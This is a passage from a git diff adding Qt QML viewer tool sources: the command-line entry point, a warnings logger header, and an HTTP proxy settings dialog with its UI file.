+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LOGGERWIDGET_H
+#define LOGGERWIDGET_H
+
+#include <QMainWindow>
+#include <QMetaType>
+
+QT_BEGIN_NAMESPACE
+
+class QPlainTextEdit;
+class QLabel;
+class QMenu;
+class QAction;
+
+class LoggerWidget : public QMainWindow {
+ Q_OBJECT
+public:
+ LoggerWidget(QWidget *parent=0);
+
+ enum Visibility { ShowWarnings, HideWarnings, AutoShowWarnings };
+
+ Visibility defaultVisibility() const;
+ void setDefaultVisibility(Visibility visibility);
+
+ QMenu *preferencesMenu();
+ QAction *showAction();
+
+public slots:
+ void append(const QString &msg);
+ void updateNoWarningsLabel();
+
+private slots:
+ void warningsPreferenceChanged(QAction *action);
+ void readSettings();
+ void saveSettings();
+
+protected:
+ void showEvent(QShowEvent *event);
+ void closeEvent(QCloseEvent *event);
+
+signals:
+ void opened();
+ void closed();
+
+private:
+ void setupPreferencesMenu();
+
+ QMenu *m_preferencesMenu;
+ QAction *m_showWidgetAction;
+ QPlainTextEdit *m_plainTextEdit;
+ QLabel *m_noWarningsLabel;
+ enum ConfigOrigin { CommandLineOrigin, SettingsOrigin };
+ ConfigOrigin m_visibilityOrigin;
+ Visibility m_visibility;
+};
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(LoggerWidget::Visibility)
+
+#endif // LOGGERWIDGET_H
diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp
new file mode 100644
index 00000000..d62249df
--- /dev/null
+++ b/tools/qml/main.cpp
@@ -0,0 +1,606 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarative.h"
+#include "qmlruntime.h"
+#include "qdeclarativeengine.h"
+#include "loggerwidget.h"
+#include <QWidget>
+#include <QDir>
+#include <QApplication>
+#include <QTranslator>
+#include <QDebug>
+#include <QMessageBox>
+#include <QAtomicInt>
+#include <QLibraryInfo>
+#include "qdeclarativetester.h"
+
+QT_USE_NAMESPACE
+
+QtMsgHandler systemMsgOutput = 0;
+
+static QDeclarativeViewer *openFile(const QString &fileName);
+static void showViewer(QDeclarativeViewer *viewer);
+
+QString warnings;
+void exitApp(int i)
+{
+#ifdef Q_OS_WIN
+ // Debugging output is not visible by default on Windows -
+ // therefore show modal dialog with errors instead.
+ if (!warnings.isEmpty()) {
+ QMessageBox::warning(0, QApplication::translate("QDeclarativeViewer", "Qt QML Viewer"), warnings);
+ }
+#endif
+ exit(i);
+}
+
+QWeakPointer<LoggerWidget> logger;
+static QAtomicInt recursiveLock(0);
+
+#if defined (Q_OS_SYMBIAN)
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#endif
+
+void myMessageOutput(QtMsgType type, const char *msg)
+{
+ QString strMsg = QString::fromLatin1(msg);
+
+ if (!QCoreApplication::closingDown()) {
+ if (!logger.isNull()) {
+ if (recursiveLock.testAndSetOrdered(0, 1)) {
+ QMetaObject::invokeMethod(logger.data(), "append", Q_ARG(QString, strMsg));
+ recursiveLock = 0;
+ }
+ } else {
+ warnings += strMsg;
+ warnings += QLatin1Char('\n');
+ }
+ }
+#if defined (Q_OS_SYMBIAN)
+ static int fd = -1;
+ if (fd == -1)
+ fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT);
+
+ ::write(fd, msg, strlen(msg));
+ ::write(fd, "\n", 1);
+ ::fsync(fd);
+ switch (type) {
+ case QtFatalMsg:
+ abort();
+ }
+#endif
+
+ if (systemMsgOutput) {
+ systemMsgOutput(type, msg);
+ } else { // Unix
+ fprintf(stderr, "%s\n", msg);
+ fflush(stderr);
+ }
+}
+
+static QDeclarativeViewer* globalViewer = 0;
+
+// The qml file that is shown if the user didn't specify a QML file
+QString initialFile = QLatin1String("qrc:/startup/startup.qml");
+
+void usage()
+{
+ qWarning("Usage: qmlviewer [options] <filename>");
+ qWarning(" ");
+ qWarning(" options:");
+ qWarning(" -v, -version ............................. display version");
+ qWarning(" -frameless ............................... run with no window frame");
+ qWarning(" -maximized................................ run maximized");
+ qWarning(" -fullscreen............................... run fullscreen");
+ qWarning(" -stayontop................................ keep viewer window on top");
+ qWarning(" -sizeviewtorootobject .................... the view resizes to the changes in the content");
+ qWarning(" -sizerootobjecttoview .................... the content resizes to the changes in the view (default)");
+ qWarning(" -qmlbrowser .............................. use a QML-based file browser");
+ qWarning(" -warnings [show|hide]..................... show warnings in a separate log window");
+ qWarning(" -recordfile <output> ..................... set video recording file");
+ qWarning(" - ImageMagick 'convert' for GIF)");
+ qWarning(" - png file for raw frames");
+ qWarning(" - 'ffmpeg' for other formats");
+ qWarning(" -recorddither ordered|threshold|floyd .... set GIF dither recording mode");
+ qWarning(" -recordrate <fps> ........................ set recording frame rate");
+ qWarning(" -record arg .............................. add a recording process argument");
+ qWarning(" -autorecord [from-]<tomilliseconds> ...... set recording to start and stop");
+ qWarning(" -devicekeys .............................. use numeric keys (see F1)");
+ qWarning(" -dragthreshold <size> .................... set mouse drag threshold size");
+ qWarning(" -netcache <size> ......................... set disk cache to size bytes");
+ qWarning(" -translation <translationfile> ........... set the language to run in");
+ qWarning(" -I <directory> ........................... prepend to the module import search path,");
+ qWarning(" display path if <directory> is empty");
+ qWarning(" -P <directory> ........................... prepend to the plugin search path");
+#if defined(Q_WS_MAC)
+ qWarning(" -no-opengl ............................... don't use a QGLWidget for the viewport");
+ qWarning(" -opengl .................................. use a QGLWidget for the viewport (default)");
+#else
+ qWarning(" -no-opengl ............................... don't use a QGLWidget for the viewport (default)");
+ qWarning(" -opengl .................................. use a QGLWidget for the viewport");
+#endif
+ qWarning(" -script <path> ........................... set the script to use");
+ qWarning(" -scriptopts <options>|help ............... set the script options to use");
+
+ qWarning(" ");
+ qWarning(" Press F1 for interactive help");
+
+ exitApp(1);
+}
+
+void scriptOptsUsage()
+{
+ qWarning("Usage: qmlviewer -scriptopts <option>[,<option>...] ...");
+ qWarning(" options:");
+ qWarning(" record ................................... record a new script");
+ qWarning(" play ..................................... playback an existing script");
+ qWarning(" testimages ............................... record images or compare images on playback");
+ qWarning(" testerror ................................ test 'error' property of root item on playback");
+ qWarning(" testskip ................................ test 'skip' property of root item on playback");
+ qWarning(" snapshot ................................. file being recorded is static,");
+ qWarning(" only one frame will be recorded or tested");
+ qWarning(" exitoncomplete ........................... cleanly exit the viewer on script completion");
+ qWarning(" exitonfailure ............................ immediately exit the viewer on script failure");
+ qWarning(" saveonexit ............................... save recording on viewer exit");
+ qWarning(" ");
+ qWarning(" One of record, play or both must be specified.");
+
+ exitApp(1);
+}
+
+enum WarningsConfig { ShowWarnings, HideWarnings, DefaultWarnings };
+
+struct ViewerOptions
+{
+ ViewerOptions()
+ : frameless(false),
+ fps(0.0),
+ autorecord_from(0),
+ autorecord_to(0),
+ dither(QLatin1String("none")),
+ runScript(false),
+ devkeys(false),
+ cache(0),
+ useGL(false),
+ fullScreen(false),
+ stayOnTop(false),
+ maximized(false),
+ useNativeFileBrowser(true),
+ experimentalGestures(false),
+ warningsConfig(DefaultWarnings),
+ sizeToView(true)
+ {
+#if defined(Q_OS_SYMBIAN)
+ maximized = true;
+ useNativeFileBrowser = false;
+#endif
+
+#if defined(Q_WS_MAC)
+ useGL = true;
+#endif
+ }
+
+ bool frameless;
+ double fps;
+ int autorecord_from;
+ int autorecord_to;
+ QString dither;
+ QString recordfile;
+ QStringList recordargs;
+ QStringList imports;
+ QStringList plugins;
+ QString script;
+ QString scriptopts;
+ bool runScript;
+ bool devkeys;
+ int cache;
+ QString translationFile;
+ bool useGL;
+ bool fullScreen;
+ bool stayOnTop;
+ bool maximized;
+ bool useNativeFileBrowser;
+ bool experimentalGestures;
+
+ WarningsConfig warningsConfig;
+ bool sizeToView;
+
+ QDeclarativeViewer::ScriptOptions scriptOptions;
+};
+
+static ViewerOptions opts;
+static QStringList fileNames;
+
+class Application : public QApplication
+{
+ Q_OBJECT
+public:
+ Application(int &argc, char **&argv)
+ : QApplication(argc, argv)
+ {}
+
+protected:
+ bool event(QEvent *ev)
+ {
+ if (ev->type() != QEvent::FileOpen)
+ return QApplication::event(ev);
+
+ QFileOpenEvent *fev = static_cast<QFileOpenEvent *>(ev);
+
+ globalViewer->open(fev->file());
+ if (!globalViewer->isVisible())
+ showViewer(globalViewer);
+
+ return true;
+ }
+
+private Q_SLOTS:
+ void showInitialViewer()
+ {
+ QApplication::processEvents();
+
+ QDeclarativeViewer *viewer = globalViewer;
+ if (!viewer)
+ return;
+ if (viewer->currentFile().isEmpty()) {
+ if(opts.useNativeFileBrowser)
+ viewer->open(initialFile);
+ else
+ viewer->openFile();
+ }
+ if (!viewer->isVisible())
+ showViewer(viewer);
+ }
+};
+
+static void parseScriptOptions()
+{
+ QStringList options =
+ opts.scriptopts.split(QLatin1Char(','), QString::SkipEmptyParts);
+
+ QDeclarativeViewer::ScriptOptions scriptOptions = 0;
+ for (int i = 0; i < options.count(); ++i) {
+ const QString &option = options.at(i);
+ if (option == QLatin1String("help")) {
+ scriptOptsUsage();
+ } else if (option == QLatin1String("play")) {
+ scriptOptions |= QDeclarativeViewer::Play;
+ } else if (option == QLatin1String("record")) {
+ scriptOptions |= QDeclarativeViewer::Record;
+ } else if (option == QLatin1String("testimages")) {
+ scriptOptions |= QDeclarativeViewer::TestImages;
+ } else if (option == QLatin1String("testerror")) {
+ scriptOptions |= QDeclarativeViewer::TestErrorProperty;
+ } else if (option == QLatin1String("testskip")) {
+ scriptOptions |= QDeclarativeViewer::TestSkipProperty;
+ } else if (option == QLatin1String("exitoncomplete")) {
+ scriptOptions |= QDeclarativeViewer::ExitOnComplete;
+ } else if (option == QLatin1String("exitonfailure")) {
+ scriptOptions |= QDeclarativeViewer::ExitOnFailure;
+ } else if (option == QLatin1String("saveonexit")) {
+ scriptOptions |= QDeclarativeViewer::SaveOnExit;
+ } else if (option == QLatin1String("snapshot")) {
+ scriptOptions |= QDeclarativeViewer::Snapshot;
+ } else {
+ scriptOptsUsage();
+ }
+ }
+
+ opts.scriptOptions = scriptOptions;
+}
+
+static void parseCommandLineOptions(const QStringList &arguments)
+{
+ for (int i = 1; i < arguments.count(); ++i) {
+ bool lastArg = (i == arguments.count() - 1);
+ QString arg = arguments.at(i);
+ if (arg == QLatin1String("-frameless")) {
+ opts.frameless = true;
+ } else if (arg == QLatin1String("-maximized")) {
+ opts.maximized = true;
+ } else if (arg == QLatin1String("-fullscreen")) {
+ opts.fullScreen = true;
+ } else if (arg == QLatin1String("-stayontop")) {
+ opts.stayOnTop = true;
+ } else if (arg == QLatin1String("-netcache")) {
+ if (lastArg) usage();
+ opts.cache = arguments.at(++i).toInt();
+ } else if (arg == QLatin1String("-recordrate")) {
+ if (lastArg) usage();
+ opts.fps = arguments.at(++i).toDouble();
+ } else if (arg == QLatin1String("-recordfile")) {
+ if (lastArg) usage();
+ opts.recordfile = arguments.at(++i);
+ } else if (arg == QLatin1String("-record")) {
+ if (lastArg) usage();
+ opts.recordargs << arguments.at(++i);
+ } else if (arg == QLatin1String("-recorddither")) {
+ if (lastArg) usage();
+ opts.dither = arguments.at(++i);
+ } else if (arg == QLatin1String("-autorecord")) {
+ if (lastArg) usage();
+ QString range = arguments.at(++i);
+ int dash = range.indexOf(QLatin1Char('-'));
+ if (dash > 0)
+ opts.autorecord_from = range.left(dash).toInt();
+ opts.autorecord_to = range.mid(dash+1).toInt();
+ } else if (arg == QLatin1String("-devicekeys")) {
+ opts.devkeys = true;
+ } else if (arg == QLatin1String("-dragthreshold")) {
+ if (lastArg) usage();
+ qApp->setStartDragDistance(arguments.at(++i).toInt());
+ } else if (arg == QLatin1String("-v") || arg == QLatin1String("-version")) {
+ qWarning("Qt QML Viewer version %s", QT_VERSION_STR);
+ exitApp(0);
+ } else if (arg == QLatin1String("-translation")) {
+ if (lastArg) usage();
+ opts.translationFile = arguments.at(++i);
+ } else if (arg == QLatin1String("-no-opengl")) {
+ opts.useGL = false;
+ } else if (arg == QLatin1String("-opengl")) {
+ opts.useGL = true;
+ } else if (arg == QLatin1String("-qmlbrowser")) {
+ opts.useNativeFileBrowser = false;
+ } else if (arg == QLatin1String("-warnings")) {
+ if (lastArg) usage();
+ QString warningsStr = arguments.at(++i);
+ if (warningsStr == QLatin1String("show")) {
+ opts.warningsConfig = ShowWarnings;
+ } else if (warningsStr == QLatin1String("hide")) {
+ opts.warningsConfig = HideWarnings;
+ } else {
+ usage();
+ }
+ } else if (arg == QLatin1String("-I") || arg == QLatin1String("-L")) {
+ if (arg == QLatin1String("-L"))
+ qWarning("-L option provided for compatibility only, use -I instead");
+ if (lastArg) {
+ QDeclarativeEngine tmpEngine;
+ QString paths = tmpEngine.importPathList().join(QLatin1String(":"));
+ qWarning("Current search path: %s", paths.toLocal8Bit().constData());
+ exitApp(0);
+ }
+ opts.imports << arguments.at(++i);
+ } else if (arg == QLatin1String("-P")) {
+ if (lastArg) usage();
+ opts.plugins << arguments.at(++i);
+ } else if (arg == QLatin1String("-script")) {
+ if (lastArg) usage();
+ opts.script = arguments.at(++i);
+ } else if (arg == QLatin1String("-scriptopts")) {
+ if (lastArg) usage();
+ opts.scriptopts = arguments.at(++i);
+ } else if (arg == QLatin1String("-savescript")) {
+ if (lastArg) usage();
+ opts.script = arguments.at(++i);
+ opts.runScript = false;
+ } else if (arg == QLatin1String("-playscript")) {
+ if (lastArg) usage();
+ opts.script = arguments.at(++i);
+ opts.runScript = true;
+ } else if (arg == QLatin1String("-sizeviewtorootobject")) {
+ opts.sizeToView = false;
+ } else if (arg == QLatin1String("-sizerootobjecttoview")) {
+ opts.sizeToView = true;
+ } else if (arg == QLatin1String("-experimentalgestures")) {
+ opts.experimentalGestures = true;
+ } else if (!arg.startsWith(QLatin1Char('-'))) {
+ fileNames.append(arg);
+ } else if (true || arg == QLatin1String("-help")) {
+ usage();
+ }
+ }
+
+ if (!opts.scriptopts.isEmpty()) {
+
+ parseScriptOptions();
+
+ if (opts.script.isEmpty())
+ usage();
+
+ if (!(opts.scriptOptions & QDeclarativeViewer::Record) && !(opts.scriptOptions & QDeclarativeViewer::Play))
+ scriptOptsUsage();
+ } else if (!opts.script.isEmpty()) {
+ usage();
+ }
+
+}
+
+static QDeclarativeViewer *createViewer()
+{
+ Qt::WFlags wflags = (opts.frameless ? Qt::FramelessWindowHint : Qt::Widget);
+ if (opts.stayOnTop)
+ wflags |= Qt::WindowStaysOnTopHint;
+
+ QDeclarativeViewer *viewer = new QDeclarativeViewer(0, wflags);
+ viewer->setAttribute(Qt::WA_DeleteOnClose, true);
+ viewer->setUseGL(opts.useGL);
+
+ if (!opts.scriptopts.isEmpty()) {
+ viewer->setScriptOptions(opts.scriptOptions);
+ viewer->setScript(opts.script);
+ }
+
+ logger = viewer->warningsWidget();
+ if (opts.warningsConfig == ShowWarnings) {
+ logger.data()->setDefaultVisibility(LoggerWidget::ShowWarnings);
+ logger.data()->show();
+ } else if (opts.warningsConfig == HideWarnings){
+ logger.data()->setDefaultVisibility(LoggerWidget::HideWarnings);
+ }
+
+ if (opts.experimentalGestures)
+ viewer->enableExperimentalGestures();
+
+ foreach (QString lib, opts.imports)
+ viewer->addLibraryPath(lib);
+
+ foreach (QString plugin, opts.plugins)
+ viewer->addPluginPath(plugin);
+
+ viewer->setNetworkCacheSize(opts.cache);
+ viewer->setRecordFile(opts.recordfile);
+ viewer->setSizeToView(opts.sizeToView);
+ if (opts.fps > 0)
+ viewer->setRecordRate(opts.fps);
+ if (opts.autorecord_to)
+ viewer->setAutoRecord(opts.autorecord_from, opts.autorecord_to);
+ if (opts.devkeys)
+ viewer->setDeviceKeys(true);
+ viewer->setRecordDither(opts.dither);
+ if (opts.recordargs.count())
+ viewer->setRecordArgs(opts.recordargs);
+
+ viewer->setUseNativeFileBrowser(opts.useNativeFileBrowser);
+
+ return viewer;
+}
+
+void showViewer(QDeclarativeViewer *viewer)
+{
+ if (opts.fullScreen)
+ viewer->showFullScreen();
+ else if (opts.maximized)
+ viewer->showMaximized();
+ else
+ viewer->show();
+ viewer->raise();
+}
+
+QDeclarativeViewer *openFile(const QString &fileName)
+{
+ QDeclarativeViewer *viewer = globalViewer;
+
+ viewer->open(fileName);
+ showViewer(viewer);
+
+ return viewer;
+}
+
+int main(int argc, char ** argv)
+{
+ systemMsgOutput = qInstallMsgHandler(myMessageOutput);
+
+#if defined (Q_WS_X11) || defined (Q_WS_MAC)
+ //### default to using raster graphics backend for now
+ bool gsSpecified = false;
+ for (int i = 0; i < argc; ++i) {
+ QString arg = QString::fromAscii(argv[i]);
+ if (arg == QLatin1String("-graphicssystem")) {
+ gsSpecified = true;
+ break;
+ }
+ }
+
+ if (!gsSpecified)
+ QApplication::setGraphicsSystem(QLatin1String("raster"));
+#endif
+
+ Application app(argc, argv);
+ app.setApplicationName(QLatin1String("QtQmlViewer"));
+ app.setOrganizationName(QLatin1String("Nokia"));
+ app.setOrganizationDomain(QLatin1String("nokia.com"));
+
+ QDeclarativeViewer::registerTypes();
+ QDeclarativeTester::registerTypes();
+
+ parseCommandLineOptions(app.arguments());
+
+ QTranslator translator;
+ QTranslator qtTranslator;
+ QString sysLocale = QLocale::system().name();
+ if (translator.load(QLatin1String("qmlviewer_") + sysLocale, QLibraryInfo::location(QLibraryInfo::TranslationsPath))) {
+ app.installTranslator(&translator);
+ if (qtTranslator.load(QLatin1String("qt_") + sysLocale, QLibraryInfo::location(QLibraryInfo::TranslationsPath))) {
+ app.installTranslator(&qtTranslator);
+ } else {
+ app.removeTranslator(&translator);
+ }
+ }
+
+ QTranslator qmlTranslator;
+ if (!opts.translationFile.isEmpty()) {
+ if (qmlTranslator.load(opts.translationFile)) {
+ app.installTranslator(&qmlTranslator);
+ } else {
+ qWarning() << "Could not load the translation file" << opts.translationFile;
+ }
+ }
+
+ if (opts.fullScreen && opts.maximized)
+ qWarning() << "Both -fullscreen and -maximized specified. Using -fullscreen.";
+
+ if (fileNames.isEmpty()) {
+ QFile qmlapp(QLatin1String("qmlapp"));
+ if (qmlapp.exists() && qmlapp.open(QFile::ReadOnly)) {
+ QString content = QString::fromUtf8(qmlapp.readAll());
+ qmlapp.close();
+
+ int newline = content.indexOf(QLatin1Char('\n'));
+ if (newline >= 0)
+ fileNames += content.left(newline);
+ else
+ fileNames += content;
+ }
+ }
+
+ globalViewer = createViewer();
+
+ if (fileNames.isEmpty()) {
+ // show the initial viewer delayed.
+ // This prevents an initial viewer popping up while there
+ // are FileOpen events coming through the event queue
+ QTimer::singleShot(1, &app, SLOT(showInitialViewer()));
+ } else {
+ foreach (const QString &fileName, fileNames)
+ openFile(fileName);
+ }
+
+ QObject::connect(&app, SIGNAL(lastWindowClosed()), &app, SLOT(quit()));
+
+ return app.exec();
+}
+
+#include "main.moc"
diff --git a/tools/qml/proxysettings.cpp b/tools/qml/proxysettings.cpp
new file mode 100644
index 00000000..a3ad2125
--- /dev/null
+++ b/tools/qml/proxysettings.cpp
@@ -0,0 +1,113 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+#include <QIntValidator>
+#include <QSettings>
+
+#include "proxysettings.h"
+
+QT_BEGIN_NAMESPACE
+
+ProxySettings::ProxySettings (QWidget * parent)
+ : QDialog (parent), Ui::ProxySettings()
+{
+ setupUi (this);
+
+#if !defined Q_WS_MAEMO_5
+ // the onscreen keyboard can't cope with masks
+ proxyServerEdit->setInputMask(QLatin1String("000.000.000.000;_"));
+#endif
+ QIntValidator *validator = new QIntValidator (0, 9999, this);
+ proxyPortEdit->setValidator(validator);
+
+ QSettings settings;
+ proxyCheckBox->setChecked(settings.value(QLatin1String("http_proxy/use"), 0).toBool());
+ proxyServerEdit->insert(settings.value(QLatin1String("http_proxy/hostname")).toString());
+ proxyPortEdit->insert(settings.value(QLatin1String("http_proxy/port"), QLatin1String("80")).toString ());
+ usernameEdit->insert(settings.value(QLatin1String("http_proxy/username")).toString ());
+ passwordEdit->insert(settings.value(QLatin1String("http_proxy/password")).toString ());
+}
+
+ProxySettings::~ProxySettings()
+{
+}
+
+void ProxySettings::accept ()
+{
+ QSettings settings;
+
+ settings.setValue(QLatin1String("http_proxy/use"), proxyCheckBox->isChecked());
+ settings.setValue(QLatin1String("http_proxy/hostname"), proxyServerEdit->text());
+ settings.setValue(QLatin1String("http_proxy/port"), proxyPortEdit->text());
+ settings.setValue(QLatin1String("http_proxy/username"), usernameEdit->text());
+ settings.setValue(QLatin1String("http_proxy/password"), passwordEdit->text());
+
+ QDialog::accept ();
+}
+
+QNetworkProxy ProxySettings::httpProxy ()
+{
+ QSettings settings;
+ QNetworkProxy proxy;
+
+ bool proxyInUse = settings.value(QLatin1String("http_proxy/use"), 0).toBool();
+ if (proxyInUse) {
+ proxy.setType (QNetworkProxy::HttpProxy);
+ proxy.setHostName (settings.value(QLatin1String("http_proxy/hostname")).toString());// "192.168.220.5"
+ proxy.setPort (settings.value(QLatin1String("http_proxy/port"), 80).toInt()); // 8080
+ proxy.setUser (settings.value(QLatin1String("http_proxy/username")).toString());
+ proxy.setPassword (settings.value(QLatin1String("http_proxy/password")).toString());
+ //QNetworkProxy::setApplicationProxy (proxy);
+ }
+ else {
+ proxy.setType (QNetworkProxy::NoProxy);
+ }
+ return proxy;
+}
+
+bool ProxySettings::httpProxyInUse()
+{
+ QSettings settings;
+ return settings.value(QLatin1String("http_proxy/use"), 0).toBool();
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qml/proxysettings.h b/tools/qml/proxysettings.h
new file mode 100644
index 00000000..33d38a5e
--- /dev/null
+++ b/tools/qml/proxysettings.h
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef PROXYSETTINGS_H
+#define PROXYSETTINGS_H
+
+#include <QDialog>
+#include <QNetworkProxy>
+#ifdef Q_WS_MAEMO_5
+#include "ui_proxysettings_maemo5.h"
+#else
+#include "ui_proxysettings.h"
+#endif
+
+QT_BEGIN_NAMESPACE
+/**
+*/
+class ProxySettings : public QDialog, public Ui::ProxySettings
+{
+
+Q_OBJECT
+
+public:
+ ProxySettings(QWidget * parent = 0);
+
+ ~ProxySettings();
+
+ static QNetworkProxy httpProxy ();
+ static bool httpProxyInUse ();
+
+public slots:
+ virtual void accept ();
+};
+
+QT_END_NAMESPACE
+
+#endif // PROXYSETTINGS_H
diff --git a/tools/qml/proxysettings.ui b/tools/qml/proxysettings.ui
new file mode 100644
index 00000000..84e39fe0
--- /dev/null
+++ b/tools/qml/proxysettings.ui
@@ -0,0 +1,115 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>ProxySettings</class>
+ <widget class="QDialog" name="ProxySettings">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>318</width>
+ <height>199</height>
+ </rect>
+ </property>
+ <property name="windowTitle">
+ <string>Dialog</string>
+ </property>
+ <layout class="QGridLayout" name="gridLayout">
+ <item row="0" column="0" colspan="2">
+ <widget class="QCheckBox" name="proxyCheckBox">
+ <property name="text">
+ <string>Use http proxy</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="serverAddressLabel">
+ <property name="text">
+ <string>Server Address:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="1">
+ <widget class="QLineEdit" name="proxyServerEdit"/>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label">
+ <property name="text">
+ <string>Port:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QLineEdit" name="proxyPortEdit"/>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="usernameLabel">
+ <property name="text">
+ <string>Username:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QLineEdit" name="usernameEdit"/>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="passwordLabel">
+ <property name="text">
+ <string>Password:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="1">
+ <widget class="QLineEdit" name="passwordEdit">
+ <property name="echoMode">
+ <enum>QLineEdit::Password</enum>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="0" colspan="2">
+ <widget class="QDialogButtonBox" name="buttonBox">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="standardButtons">
+ <set>QDialogButtonBox::Cancel|QDialogButtonBox::Ok</set>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <resources/>
+ <connections>
+ <connection>
+ <sender>buttonBox</sender>
+ <signal>accepted()</signal>
+ <receiver>ProxySettings</receiver>
+ <slot>accept()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>248</x>
+ <y>254</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>157</x>
+ <y>274</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>buttonBox</sender>
+ <signal>rejected()</signal>
+ <receiver>ProxySettings</receiver>
+ <slot>reject()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>316</x>
+ <y>260</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>286</x>
+ <y>274</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+</ui>
